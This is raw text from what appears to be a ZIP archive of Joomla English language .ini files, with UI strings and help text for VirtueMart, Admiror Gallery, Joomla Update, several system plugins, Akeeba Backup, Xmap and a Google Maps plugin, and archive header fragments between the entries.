        To remove the VirtueMart tables, remove all tables with the _virtuemart_ prefix." COM_VIRTUEMART_UNINSTALL_THANKYOU="Thank you for using VirtueMart!" VIRTUEMART="VirtueMart" ; components/com_virtuemart/views/cart/tmpl/default.xml COM_VIRTUEMART_CART_VIEW_DEFAULT_DESC="Displays the Shopping Cart" COM_VIRTUEMART_CART_VIEW_DEFAULT_TITLE="VirtueMart Shopping Cart" ; components/com_virtuemart/views/cart/tmpl/minicart.xml COM_VIRTUEMART_MINICART_DESC="Displays VirtueMart minicart" COM_VIRTUEMART_MINICART_MENU="VirtueMart mini cart" ; components/com_virtuemart/views/categories/tmpl/default.xml COM_VIRTUEMART_CATEGORIES_VIEW_DEFAULT_DESC="To set the parent category" COM_VIRTUEMART_CATEGORIES_VIEW_DEFAULT_TITLE="VirtueMart Categories Layout" ; components/com_virtuemart/views/category/tmpl/default.xml COM_VIRTUEMART_CATEGORY_FIELD_SELECT="Select a category" COM_VIRTUEMART_CATEGORY_FIELD_SELECT_DESC="Creates a link to display the selected Category" COM_VIRTUEMART_CATEGORY_VIEW_DEFAULT_DESC="Displays a single VirtueMart category" COM_VIRTUEMART_CATEGORY_VIEW_DEFAULT_TITLE="Category Layout" ; components/com_virtuemart/views/manufacturer/tmpl/details.xml COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT="Select a Manufacturer" COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT_DESC="Creates a link to display the selected Manufacturer" COM_VIRTUEMART_MANUFACTURER_VIEW_DEFAULT_DESC="Displays VirtueMart manufacturers List" COM_VIRTUEMART_MANUFACTURER_VIEW_DEFAULT_TITLE="VirtueMart Manufacturer Default Layout" COM_VIRTUEMART_MANUFACTURER_VIEW_DETAILS_DESC="Displays a single VirtueMart manufacturer" COM_VIRTUEMART_MANUFACTURER_VIEW_DETAILS_TITLE="VirtueMart Manufacturer Details Layout" ; components/com_virtuemart/views/orders/tmpl/details.xml COM_VIRTUEMART_ORDERS_LIST="List Orders" COM_VIRTUEMART_ORDERS_VIEW_DEFAULT_DESC="List All Orders" COM_VIRTUEMART_ORDERS_VIEW_DEFAULT_TITLE="List Orders" ; components/com_virtuemart/views/productdetails/tmpl/default.xml COM_VIRTUEMART_PRODUCTDETAILS_FIELD_SELECT="Select a Product" COM_VIRTUEMART_PRODUCTDETAILS_FIELD_SELECT_DESC="Creates a link to this display the selected Product" COM_VIRTUEMART_PRODUCTDETAILS_PRODUCT="Product" COM_VIRTUEMART_PRODUCTDETAILS_TO_SET_PRODUCT_VIEW="To set the product view" COM_VIRTUEMART_PRODUCTDETAILS_VIEW_DEFAULT_DESC="Displays a single product" COM_VIRTUEMART_PRODUCTDETAILS_VIEW_DEFAULT_TITLE="VirtueMart Product Details Layout" ; components/com_virtuemart/views/user/tmpl/edit.xml COM_VIRTUEMART_USER_VIEW_DEFAULT_DESC="Displays the VirtueMart Customer Account Maintenance" COM_VIRTUEMART_USER_VIEW_DEFAULT_TITLE="VirtueMart Account Maintenance" COM_VIRTUEMART_USER_EDITADDRESS_VIEW_DEFAULT_TITLE="User Edit Address" COM_VIRTUEMART_USER_EDITADDRESS_VIEW_DEFAULT_DESC="Displays the User Edit Address" ; components/com_virtuemart/views/virtuemart/tmpl/default.xml COM_VIRTUEMART_VIRTUEMART_VIEW_DEFAULT_TITLE="VirtueMart Front page" COM_VIRTUEMART_VIRTUEMART_VIEW_DEFAULT_TITLE_DESC="Displays the VirtueMart front page" ; components/com_virtuemart/views/recommend/tmpl/edit.xml ;COM_VIRTUEMART_RECCOMEND_MENU="VirtueMart Account Maintenance" ;COM_VIRTUEMART_RECOMMEND_MENU_DESC="Displays the VirtueMart Customer Account Maintenance" ; components/com_virtuemart/views/vendor/tmpl/ COM_VIRTUEMART_VENDOR_FIELD_SELECT_DESC="Select a vendor" COM_VIRTUEMART_VENDOR_FIELD_SELECT_TITLE="Select a vendor" COM_VIRTUEMART_VENDOR_VIEW_CONTACT_DESC="Displays vendor contact page" COM_VIRTUEMART_VENDOR_VIEW_CONTACT_TITLE="Displays vendor contact" COM_VIRTUEMART_VENDOR_VIEW_DEFAULT_DESC="Displays vendors" COM_VIRTUEMART_VENDOR_VIEW_DEFAULT_TITLE="Displays vendors" COM_VIRTUEMART_VENDOR_VIEW_DETAILS_DESC="Displays vendor details" COM_VIRTUEMART_VENDOR_VIEW_DETAILS_TITLE="Displays vendor details" COM_VIRTUEMART_VENDOR_VIEW_TOS_DESC="View vendor TOS" COM_VIRTUEMART_VENDOR_VIEW_TOS_TITLE="View vendor TOS" ;sub Menu COM_VIRTUEMART_MENU_CATEGORIES="Product Categories" COM_VIRTUEMART_MENU_CONFIGURATION="VirtueMart Configuration" COM_VIRTUEMART_MENU_MANUFACTURERS="Manufacturers" COM_VIRTUEMART_MENU_MEDIAFILES="Media Files" COM_VIRTUEMART_MENU_ORDERS="Orders" COM_VIRTUEMART_MENU_PAYMENTMETHODS="Payment Methods" COM_VIRTUEMART_MENU_PRODUCTS="Products" COM_VIRTUEMART_MENU_REPORT="Revenue Report" COM_VIRTUEMART_MENU_SHIPMENTMETHODS="Shipment Methods" COM_VIRTUEMART_MENU_STORE="Shop Profile" COM_VIRTUEMART_MENU_USERS="Shoppers"PK@y>\a$3language/en-GB/en-GB.plg_content_admirorgallery.ininuW+A; @version 4.0 ; @package Admiror Gallery (plugin) ; @copyright Copyright (C) 2010 - 2011. All rights reserved. ; @author Igor Kekeljevic & Nikola Vasiljevski, 2011. ; @license GNU/GPL license: http://www.gnu.org/copyleft/gpl.html ; @note All ini files need to be saved as UTF-8 ; Plugin Description PLG_ADMIRORGALLERY_XML_DESCRIPTION="

        Admiror Gallery

        Admiror Gallery renders image gallery from folder with images. It supports jpg, jpeg, png and gif images.

        Create your folder inside Images Root Folder and place images for gallery inside this folder. Usually Images Root Folder is /images/stories/ folder.

        Put {AG}name_of_your_folder{/AG} inside your article.

        Creation of thumb images is automatic, if user opens the page with AdmirorGallery and there are new images or size changed. It''s recommended to admin to opens page with AdmirorGallery to execute changes instead of user. Admiror Gallery consists of 3 mayor elements: Templates, Popups and Image manager.

        For more information visit Admiror Gallery Webpage or Admiror Gallery Community.

        Templates are standard look and feel of gallery. Usually it''s a set of small thumbnails with descriptions.

        Popups is wrapper for showing larger image, which is usually initiated by clicking on thumbnail image.

        Copyright

        Admiror Gallery is free software. You can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3, or (at your option) any later version.

        * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.


        " PLG_CONTENT_ADMIRORGALLERY="Content - Admiror Gallery" ; Plugin XML Params AG_BASIC_SETTINGS="BASIC SETTINGS" AG_IMAGES_ROOT_FOLDER="Images Root Folder" AG_IMAGES_ROOT_FOLDER_DESC="Set the path to the folder you keep your images, relative to your site root. Default value is /images/stories/." AG_THUMBNAIL_WIDTH="Thumbnail Width" AG_THUMBNAIL_WIDTH_DESC="Adjust the maximum width thumbnail width in pixels." AG_THUMBNAIL_HEIGHT="Thumbnail Height" AG_THUMBNAIL_HEIGHT_DESC="Adjust the maximum image thumbnail height in pixels." AG_THUMBNAIL_AUTO_SIZE="Thumbnail Auto Size" AG_THUMBNAIL_AUTO_SIZE_DESC="Auto size for one of dimensions, keeping proportions of original image." AG_WIDTH="Width" AG_HEIGHT="Height" AG_NONE="None" AG_GALLERY_TEMPLATE="Gallery Template" AG_GALLERY_TEMPLATE_DESC="Select Gallery Template." AG_POPUP_ENGINE="Popup Engine" AG_POPUP_ENGINE_DESC="Select Popup Engine." AG_ARRANGE_IMAGES_BY="Arrange Images by" AG_ARRANGE_IMAGES_BY_DESC="Select one of image arrange algorithm." AG_PRIORITY="Priority" AG_DATE="Date" AG_NAME="Name" AG_GALLERY_COLORS="GALLERY COLORS" AG_GALLERY_BACKGROUND_COLOR="Background Color" AG_GALLERY_BACKGROUND_COLOR_DESC="This color is used for background in some templates. Enter 6 digit hex code only." AG_GALLERY_FOREGROUND_COLOR="Foreground Color" AG_GALLERY_FOREGROUND_COLOR_DESC="This color is used for borders and texts in some templates. Enter 6 digit hex code only." AG_GALLERY_HIGHLITE_COLOR="Highlite Color" AG_GALLERY_HIGHLITE_COLOR_DESC="This color is used for hover highlite in some templates. Enter 6 digit hex code only." AG_GALLERY_FRAME_SIZE="GALLERY FRAME SIZE" AG_GALLERY_FRAME_WIDTH="Frame Width" AG_GALLERY_FRAME_WIDTH_DESC="Adjust gallery frame width in pixels." AG_GALLERY_FRAME_HEIGHT="Frame Height" AG_GALLERY_FRAME_HEIGHT_DESC="Adjust gallery frame height in pixels." AG_NEW_IMAGES_SETTINGS="NEW IMAGES" AG_MARK_NEW_IMAGES="Mark New Images" AG_MARK_NEW_IMAGES_DESC="Adding small tag on image thumbnails for images old one week." AG_YES="Yes" AG_NO="No" AG_NEW_IMAGE_DAYS_LIMIT="New Image Days Limit" AG_NEW_IMAGE_DAYS_LIMIT_DESC="Set number of days for which image is consider as new." AG_PAGINATION_SETTINGS="PAGINATION SETTINGS" AG_USE_PAGINATION="Use Pagination" AG_USE_PAGINATION_DESC="Activate pagination system. It filter current set of images and generate pagination links." AG_IMAGES_PER_GALLERY="Images Per Gallery" AG_IMAGES_PER_GALLERY_DESC="Enter number of images per single gallery." AG_ALBUMS_SETTINGS="ALBUMS SETTINGS" AG_USE_ALBUMS="Use Albums" AG_USE_ALBUMS_DESC="Activate albums system. It filter child folders for current gallery and render them as albums with images." AG_ADDITIONAL_SETTINGS="ADDITIONAL SETTINGS" AG_SHOW_SIGNATURE="Show Signature" AG_SHOW_SIGNATURE_DESC="Show Admiror Gallery label on bottom of the page which using this plugin." AG_USE_PLAIN_TEXT_CAPTIONS="Plain Text Captions" AG_USE_PLAIN_TEXT_CAPTIONS_DESC="It''s possible to use rich text captions, but avoid using double qoutes in tag attributes. There is a risk that some Templates or Popups doesn''t support rich text captions." AG_IGNORE_INVALID_IMAGE="Ignore invalid image" AG_IGNORE_INVALID_IMAGE_DESC="Ignores errors if image is corrupted." AG_IGNORE_NOTICE_OF_RECOVERABLE_ERRORS="Ignore notice of recoverable errors" AG_IGNORE_NOTICE_OF_RECOVERABLE_ERRORS_DESC="If you get Notice: imagecreatefromjpeg() [function.imagecreatefromjpeg] you can stop this notice from appering on your page." ; Plugin Errors AG_ADMIROR_GALLERY_PLUGIN_FUNCTIONS_ONLY_UNDER="Admiror Designe Studio "Admiror Gallery" 4.0 Plugin functions under Joomla! 1.6 & 1.7" AG_GD_SUPPORT_IS_NOT_ENABLED="GD support is not enabled. Cannot create thumbnail images. Contact your System Administrator to enable GD support." AG_CANNOT_FIND_FOLDER_INSIDE_FOLDER="Cannot find %s folder inside %s folder." AG_UNSUPPORTED_IMAGE_TYPE_FOR_IMAGE="Unsupported image type for image %s." AG_IMAGE_IS_MISSING_OR_NOT_VALID_CANNOT_READ_THIS_IMAGE="Image %s is missing or not valid. Cannot read this image" AG_COULD_NOT_CREATE_THUMBNAIL_FILE_FOR_IMAGE="Could not create thumbnail file for image %s!" AG_CANNOT_CREATE_THUMBNAILS_WIDTH_AND_HEIGHT_MUST_BE_GREATER_THEN_0="Cannot create thumbnails!
        Width and height must be greater then 0" AG_CANNOT_READ_THUMBNAIL="Cannot read thumbnail: "%s"!" AG_CANNOT_CREATE_THUMBS_PERMMISIONS_ERROR="Admiror Gallery cannot create thumbnails in %s
        Check folder permmisions!" AG_AUTHORS="author/s" PK@y>\y   )language/en-GB/en-GB.com_joomlaupdate.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM COM_JOOMLAUPDATE_CONFIG_CUSTOMURL_DESC="This is a custom XML update source URL, used only when the "_QQ_"Update Source"_QQ_" option is set to "_QQ_"Custom URL"_QQ_"." COM_JOOMLAUPDATE_CONFIG_CUSTOMURL_LABEL="Custom URL" COM_JOOMLAUPDATE_CONFIG_SOURCES_DESC="Configure where Joomla! gets its update information from" COM_JOOMLAUPDATE_CONFIG_SOURCES_LABEL="Update Source" COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_CUSTOM="Custom URL" COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_DESC="The update server Joomla! will use to find out if there is an update available" COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_LABEL="Update server" COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_LTS="Long Term Support (recommended)" COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_NOCHANGE="Currently configured (no change)" COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_STS="Short Term Support" COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_TESTING="Testing" COM_JOOMLAUPDATE_CONFIGURATION="Joomla! Update Configuration" COM_JOOMLAUPDATE_OVERVIEW="Joomla! Update" COM_JOOMLAUPDATE_VIEW_COMPLETE_HEADING="Joomla! Version Update Status" COM_JOOMLAUPDATE_VIEW_COMPLETE_MESSAGE="Your site has been successfully updated. Your Joomla version is now %s." COM_JOOMLAUPDATE_VIEW_DEFAULT_CANT_INSTALL_UPDATE="We can't install the upgrade" COM_JOOMLAUPDATE_VIEW_DEFAULT_CANT_INSTALL_UPDATE_DESC="We can't install the update to %s as your host doesn't support the minimum requirements for Joomla %s and there is no alternative available." COM_JOOMLAUPDATE_VIEW_DEFAULT_DOWNLOAD_IN_PROGRESS="Downloading update file. Please wait ..." COM_JOOMLAUPDATE_VIEW_DEFAULT_FTP_DIRECTORY="FTP directory" COM_JOOMLAUPDATE_VIEW_DEFAULT_FTP_HOSTNAME="FTP host" COM_JOOMLAUPDATE_VIEW_DEFAULT_FTP_PASSWORD="FTP password" COM_JOOMLAUPDATE_VIEW_DEFAULT_FTP_PORT="FTP port" COM_JOOMLAUPDATE_VIEW_DEFAULT_FTP_USERNAME="FTP username" COM_JOOMLAUPDATE_VIEW_DEFAULT_INSTALLED="Installed Joomla! version" COM_JOOMLAUPDATE_VIEW_DEFAULT_INSTALLUPDATE="Install the update" COM_JOOMLAUPDATE_VIEW_DEFAULT_LATEST="Latest Joomla! version" COM_JOOMLAUPDATE_VIEW_DEFAULT_METHOD_DIRECT="Write files directly" COM_JOOMLAUPDATE_VIEW_DEFAULT_METHOD_FTP="Write files using FTP" COM_JOOMLAUPDATE_VIEW_DEFAULT_METHOD="Installation method" COM_JOOMLAUPDATE_VIEW_DEFAULT_NOUPDATES="No updates available" COM_JOOMLAUPDATE_VIEW_DEFAULT_NOUPDATESNOTICE="You already have the latest Joomla! version, %s." COM_JOOMLAUPDATE_VIEW_DEFAULT_PACKAGE="Update package URL" COM_JOOMLAUPDATE_VIEW_DEFAULT_UPDATEFOUND="A Joomla! update was found" COM_JOOMLAUPDATE_VIEW_PROGRESS="Update progress" COM_JOOMLAUPDATE_VIEW_UPDATE_BYTESEXTRACTED="Bytes extracted" COM_JOOMLAUPDATE_VIEW_UPDATE_BYTESREAD="Bytes read" COM_JOOMLAUPDATE_VIEW_UPDATE_DOWNLOADFAILED="Download of update package failed" COM_JOOMLAUPDATE_VIEW_UPDATE_FILESEXTRACTED="Files extracted" COM_JOOMLAUPDATE_VIEW_UPDATE_INPROGRESS="Updating your Joomla! files. Please wait ..." COM_JOOMLAUPDATE_VIEW_UPDATE_PERCENT="Percent complete" COM_JOOMLAUPDATE_XML_DESCRIPTION="Updates Joomla! to the latest version with one click" PK@y>\E:)77-language/en-GB/en-GB.plg_system_cache.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CACHE_XML_DESCRIPTION="Provides page caching" PLG_SYSTEM_CACHE="System - Cache"PK@y>\PK''language/en-GB/en-GB.com_akeeba.sys.ininuW+ACOM_AKEEBA="Akeeba Backup" COM_AKEEBA_CONFIG="Configuration" COM_AKEEBA_BACKUP="Backup Now" COM_AKEEBA_BUADMIN="Administer Backup Files" PK@y>\E-language/en-GB/en-GB.plg_system_debug.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM PLG_DEBUG_XML_DESCRIPTION="This plugin provides a variety of system information and assistance for the creation of translation files." PLG_SYSTEM_DEBUG="System - Debug" PK@y>\d33+language/en-GB/en-GB.plg_system_log.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_LOG_XML_DESCRIPTION="Provides System Logging" PLG_SYSTEM_LOG="System - Log"PK@y>\NFa+language/en-GB/en-GB.plg_system_sef.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEF_XML_DESCRIPTION="Adds SEF support to links in the document. It operates directly on the HTML and does not require a special tag." PLG_SYSTEM_SEF="System - SEF"PK@y>\U(language/en-GB/en-GB.plg_xmap_com_k2.ininuW+AXMAP_PLUGIN_K2="Xmap - K2 Plugin" XMAP_PLUGIN_K2_DESC="Plugin for K2 component" XMAP_K2_FOLLOW_SUBCATEGORIES="Follow Subcategories" XMAP_K2_FOLLOW_SUBCATEGORIES_DESC="Add articles from subcategories." XMAP_K2_SUPRESS_DUPLICATES="Suppress Duplicates" XMAP_K2_SUPRESS_DUPLICATES_DESC="Suppress duplicate K2 categories and items." XMAP_K2_SHOW_ITEMS_LABEL="Show K2 Items" XMAP_K2_SHOW_ITEMS_LABEL_DESC="Show K2 items in site map." XMAP_K2_XML_SITEMAP="XML Sitemap" XMAP_K2_XML_SITEMAP_DESC="Options for the XML sitemap only." XMAP_K2_PRIORITY="Priority" XMAP_K2_PRIORITY_DESC="Set the priority." XMAP_K2_CHANGEFREQ_LABEL="Change frequency" XMAP_K2_CHANGEFREQ_LABEL_DESC="Set the change frequency." ; Generic Extension settings strings COM_PLUGINS_BASIC_FIELDSET_LABEL="Basic Settings" COM_PLUGINS_XML_FIELDSET_LABEL="XML Sitemap Settings" COM_PLUGINS_NEWS_FIELDSET_LABEL="News Sitemap Settings" XMAP_OPTION_USE_PARENT_MENU="Use Parent Menu Settings" XMAP_OPTION_NEVER="Never" XMAP_OPTION_ALWAYS="Always" XMAP_OPTION_XML_ONLY="In XML Sitemap Only" XMAP_OPTION_HTML_ONLY="In HTML Sitemap Only" XMAP_OPTION_WEEKLY="Weekly" XMAP_OPTION_DAILY="Daily" XMAP_OPTION_MONTHLY="Monthly" XMAP_OPTION_YEARLY="Yearly" XMAP_OPTION_HOURLY="Hourly"PK@y>\D5language/en-GB/en-GB.plg_system_plugin_googlemap2.ininuW+A; $Id: en-GB.plg_system_plugin_googlemap2.ini 2011-01-20 00:05:36 ; Copyright (C) 2011 Tech Reumer. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLUGIN_GOOGLE_MAPS_INSTALLATION="

        Plugin Googlemap - A Joomla plugin

        This plugin is version 2.13c of the google map mambot for Joomla 1.0x or Joomla 1.5+ native.

        Install

        Just go to Joomla menu Extensions submenu Install/Uninstall (1.5) or Installers submenu Mambots (1.0.x) in your administration console. Upload and install the plugin.
        Then go to Joomla menu Extension submenu Plugin Manager and publish the Plugin Google Maps (1.5) or menu Mambots submenu site Mambots (1.0.x). Then go to Joomla menu Extension submenu Plugin Manager and publish the Plugin Google Maps.

        After publishing the plugin go to the parameters of the plugin by clicking on the name of the plugin. Here you can set the defaults of the parameters and most important the Google API key (Click here to have a key)

        For Joomla 1.5 publish the plugin always. With the extra plugin parameter Published you can set if the mostag must be removed or that the mostag is replace with the Googlemap.

        How to use the plugin in content

        You can put the {mosmap} with parameters anywhere in content in Joomla: intro text or main text. You can see examples and documentation on my demo site: tech.reumer.net.

        Check the html of the content item so there are no <br /> or &nbsp; between { } or in the html a return.
        The plugin works for one line! It can be once, twice or more to display multiple, inline maps on a single content page for different locations and configurations.

        Usage: {mosmap width='500'\|height='400'\|lat='52.052312'\|lon='4.447141'\|
        zoom='3'\|zoomType='Large'\|zoomNew='0'\|mapType='Satellite'\|showMaptype='1'\|
        overview='0'\|text='sv DWO'\|tooltip='DWO'\|marker='1'\|
        align='center'}
        (remove the returns between the line or <br /> so its one line. Second remove in Joomla 1.6 the slash before the pipe)

        You can change any of the parameters:

        width, height to whatever you want although if its too small, you won't see very much.

        lon and lat for the coordinates and/or address to search for the coordinates (use standard of your country)

        zoom can be anything as specified in the Google Maps API.

        zoomType, can be Small or Large, this controls the type of zoom function displayed or None so there is no zoomcontrol.

        zoomNew, can be 1 for continues zoom and doubleclick and zoom or 0 for click to center (default 0)

        zoomWheel, can be 1 for mousewheel zoom and 0 for no mousewheel zoom (default 0)

        mapType can be Normal (default), Satellite, Hybrid, Terrain or Earth.

        showMaptype is 0 for no Maptype controls and 1 shows Maptype controls (default 1)

        Overview is 0 for no overview window in bottom right corner and 1 shows the overview and 2 for overview enabled but close initially (default 0)

        text is for the marker, that will show on the map with a balloon. If you don't want to see the text, just set text=" and it will not display, the text is the data displayed above the location pin. Usually it would be used to display an address or hyperlink. A hyperlink is possible use the format: <a href=linkAddress target=linkTarget title=linkTitle>linkName</a>. Don't use (double) quotes!

        marker is for opening the infowindow (1 default) or close the infowindow (0) initially.

        dir for adding get directions form for a route at maps.google.com to the coordinates.

        tooltip is for the marker to have a tooltip when the mouse is on the marker (don't use HTML)

        icon is the url to a icon for the marker so it can be different then default of Google

        address is for a address to search for the coordinates

        gotoaddr is for a searchfield and button so the user can search a address on the map (default 0)

        kml is for a url to a kmlfile to load as a overlay on the map for multiple markers or a route

        traffic is for showing traffic on the map (Only USA currently)

        align is for placement of the map in the content (left, right, center or none)

        lightbox is for placing a link/button to show a lightbox of the map (default 0)

        show is for making the map displayed (default 1) or not. With lightbox on then the map only appears in lightbox.

         

        You can set the key in the mosmap tag (optional) or Multiple urls and keys at the parameters by the plugin in the administrator of Joomla. You can register for a Google Maps Key here.

        " CMN_JAVASCRIPT="JavaScript must be enabled in order for you to use Google Maps.
        However, it seems JavaScript is either disabled or not supported by your browser.
        To view Google Maps, enable JavaScript by changing your browser options, and then try again." ; The fieldsets COM_PLUGINS_GOOGLEMAP_BASIC_FIELDSET_LABEL="General settings" COM_PLUGINS_GOOGLEMAP_LOCATION_FIELDSET_LABEL="Location settings" COM_PLUGINS_GOOGLEMAP_CONTROL_FIELDSET_LABEL="Control settings" COM_PLUGINS_GOOGLEMAP_ICON_FIELDSET_LABEL="Custom icon settings" COM_PLUGINS_GOOGLEMAP_LAYERS_FIELDSET_LABEL="Layers settings" COM_PLUGINS_GOOGLEMAP_DIRECTIONS_FIELDSET_LABEL="Directions settings" COM_PLUGINS_GOOGLEMAP_LIGHTBOX_FIELDSET_LABEL="Lightbox settings" COM_PLUGINS_GOOGLEMAP_STREETVIEW_FIELDSET_LABEL="Streetview settings" COM_PLUGINS_GOOGLEMAP_EARTH_FIELDSET_LABEL="Earth plugin settings" COM_PLUGINS_GOOGLEMAP_KML_FIELDSET_LABEL="KML (GeoXML) settings" COM_PLUGINS_GOOGLEMAP_CUSTOMTILE_FIELDSET_LABEL="Custom tile settings" ; All the parameters GOOGLEMAP_TT_CONFIG_PUBLISHED="If the component is published. If not then all maps will disappear." GOOGLEMAPS_MAPS_DEBUG="Debug?" GOOGLEMAPS_TT_MAPS_DEBUG="If the map shows debug messages (as comments) in the html-page. The comments can be showed by looking at the page source." GOOGLEMAPS_PLUGINCODE="Plugin code" GOOGLEMAPS_TT_PLUGINCODE="The code which is used to be placed in the article between {} to trigger plugin. Default mosmap." GOOGLEMAPS_BRACKETS="Brackets" GOOGLEMAPS_TT_BRACKETS="What brackets should be use around the plugin code: {} (default with [] for multiple kml), [] (with () for multiple kml) or both (() for multiple kml. [] will give problems with multiple kml)" GOOGLEMAPS_BRACKETS_BOTH="Both {} and []" GOOGLEMAPS_GOOGLEAPIVERSION="Google API version" GOOGLEMAPS_TT_GOOGLEAPIVERSION="The version of the Google API that has to be used (2.x latest version, 2.s stable version and 2.number with number a specific version, like 2.76)" GOOGLEMAPS_LOADWITHMOOTOOLS="Load with mootools?" GOOGLEMAPS_TT_LOADWITHMOOTOOLS="If mootools (default) should be used to load the map or a timeinterval?" GOOGLEMAPS_LOADWITHMOOTOOLSMOOTOOLS="Mootools" GOOGLEMAPS_LOADWITHMOOTOOLSTIMEINTERVAL="Timeinterval" GOOGLEMAPS_TIMEINTERVAL="Timeinterval" GOOGLEMAPS_TT_TIMEINTERVAL="To show the map a timeinterval in ms is done to wait for the page is loaded correctly (default 500ms). Especially for IE this can prevent a fatal error." GOOGLEMAPS_API_KEY="Googlemaps API Key" GOOGLEMAPS_TT_API_KEY="The key that's needed for using the Google API." GOOGLEMAPS_MULTI_API_KEY="Googlemaps Multi API Key" GOOGLEMAPS_TT_MULTI_API_KEY="The key that's needed for using the Google API.
        With multi you can add your multi domains for your site and behind it the key. The next domain goes on a new line. For example:
        www.yourdomain.com;AHKAHGKAOP89
        www.yourdomain2.com;JSKLFSD7FSD8F" GOOGLEMAPS_URLWEBSITE="URL variable" GOOGLEMAPS_TT_URLWEBSITE="Use HTTP_HOST (default) or Joomla setting" GOOGLEMAPS_URLWEBSITE_JOOMLA="Joomla" GOOGLEMAPS_GOOGLEWEBSITE="Google website" GOOGLEMAPS_TT_GOOGLEWEBSITE="What google website should be used for geocoding and directions" GOOGLEMAPS_INDEXING="Google indexing?" GOOGLEMAPS_TT_INDEXING="If google may index your map and markers (default Yes)" GOOGLEMAPS_MAPS_WIDTH="Width" GOOGLEMAPS_TT_MAPS_WIDTH="Width of the map. You must put the units behind the number like 100% or 400px" GOOGLEMAPS_MAPS_HEIGHT="Height" GOOGLEMAPS_TT_MAPS_HEIGHT="Height of the map. You must put the units behind the number like 100% or 400px" GOOGLEMAPS_MAPS_LAT="Latitude" GOOGLEMAPS_TT_MAPS_LAT="Default lattitude for a marker on the map." GOOGLEMAPS_MAPS_LNG="Longitude" GOOGLEMAPS_TT_MAPS_LNG="Default longitude for a marker on the map." GOOGLEMAPS_MAPS_CENTERLAT="Center latitude" GOOGLEMAPS_TT_MAPS_CENTERLAT="Lattitude for the center of the map. If empty then center and zoom automatically." GOOGLEMAPS_MAPS_CENTERLNG="Center longitude" GOOGLEMAPS_TT_MAPS_CENTERLNG="Longitude for the center of the map. If empty then center and zoom automatically." GOOGLEMAPS_MAPS_ADRESS="Address" GOOGLEMAPS_TT_MAPS_ADRESS="Address for the default place" GOOGLEMAPS_MAPS_ZOOM="Zoomlevel" GOOGLEMAPS_TT_MAPS_ZOOM="The zoomlevel for the first view of the map" GOOGLEMAPS_MAPS_CORZOOM="Autom zoom correction" GOOGLEMAPS_TT_MAPS_CORZOOM="Correction for the zoomlevel when zoom is set automatic. It can be positive or negative" GOOGLEMAPS_MAPS_OVZOOM="Overview zoomlevel" GOOGLEMAPS_TT_MAPS_OVZOOM="Correction for the zoomlevel of the overview. Difference from the zoomlevel of the map (-3 is default of google maps)." GOOGLEMAPS_MAPS_MINZOOM="Min. Zoomlevel" GOOGLEMAPS_TT_MAPS_MINZOOM="The minimal zoomlevel for the map" GOOGLEMAPS_MAPS_MAXZOOM="Max. Zoomlevel" GOOGLEMAPS_TT_MAPS_MAXZOOM="The maximum zoomlevel for the map" GOOGLEMAPS_MAPS_CONTROLTYPE="Control type" GOOGLEMAPS_TT_MAPS_CONTROLTYPE="The type of controls can be automatic (Default User Interface maps.google.com) or user (define with parameters below)." GOOGLEMAPS_MAPS_CONTROLTYPEAUTOMATIC="Automatic" GOOGLEMAPS_MAPS_CONTROLTYPEUSER="User" GOOGLEMAPS_MAPS_MAPCONTROL="Map control" GOOGLEMAPS_TT_MAPS_MAPCONTROL="The type of button for zoom on the map. Zoomtype can be Small, Large, 3D large, 3D Large with Streetview button, 3D small or None so there is no zoomcontrol." GOOGLEMAPS_MAPS_MAPCONTROLLARGE="Large" GOOGLEMAPS_MAPS_MAPCONTROLSMALL="Small" GOOGLEMAPS_MAPS_MAPCONTROL3DLARGE="3D-Large" GOOGLEMAPS_MAPS_MAPCONTROL3DSMALL="3D-Small" GOOGLEMAPS_MAPS_MAPCONTROL3DLARGESV="3D-Large StreetView" GOOGLEMAPS_MAPS_MAPCONTROLNONE="None" GOOGLEMAPS_MAPS_SVCONTROL="Streetview control" GOOGLEMAPS_TT_MAPS_SVCONTROL="Show streetview control above zoom control (Only Google Maps v3)" GOOGLEMAPS_MAPS_ROTATION="Aerial Perspective Imagery" GOOGLEMAPS_TT_MAPS_ROTATION="Show Aerial Perspective Imagery/Bird view when available" GOOGLEMAPS_MAPS_ZOOMNEW="Doubleclick and Continues zoom" GOOGLEMAPS_TT_MAPS_ZOOMNEW="Give the use doubleclick zoom and smooth zooming?" GOOGLEMAPS_MAPS_MOUSEWHEEL="Mousewheel zoom" GOOGLEMAPS_TT_MAPS_MOUSEWHEEL="Zoom map with mousewheel?" GOOGLEMAPS_MAPS_KEYBOARD="Keyboard support" GOOGLEMAPS_TT_MAPS_KEYBOARD="Support for keyboard zoom and Pan." GOOGLEMAPS_MAPS_MAPTYPE="Maptype" GOOGLEMAPS_TT_MAPS_MAPTYPE="The first view of the map will be this type. 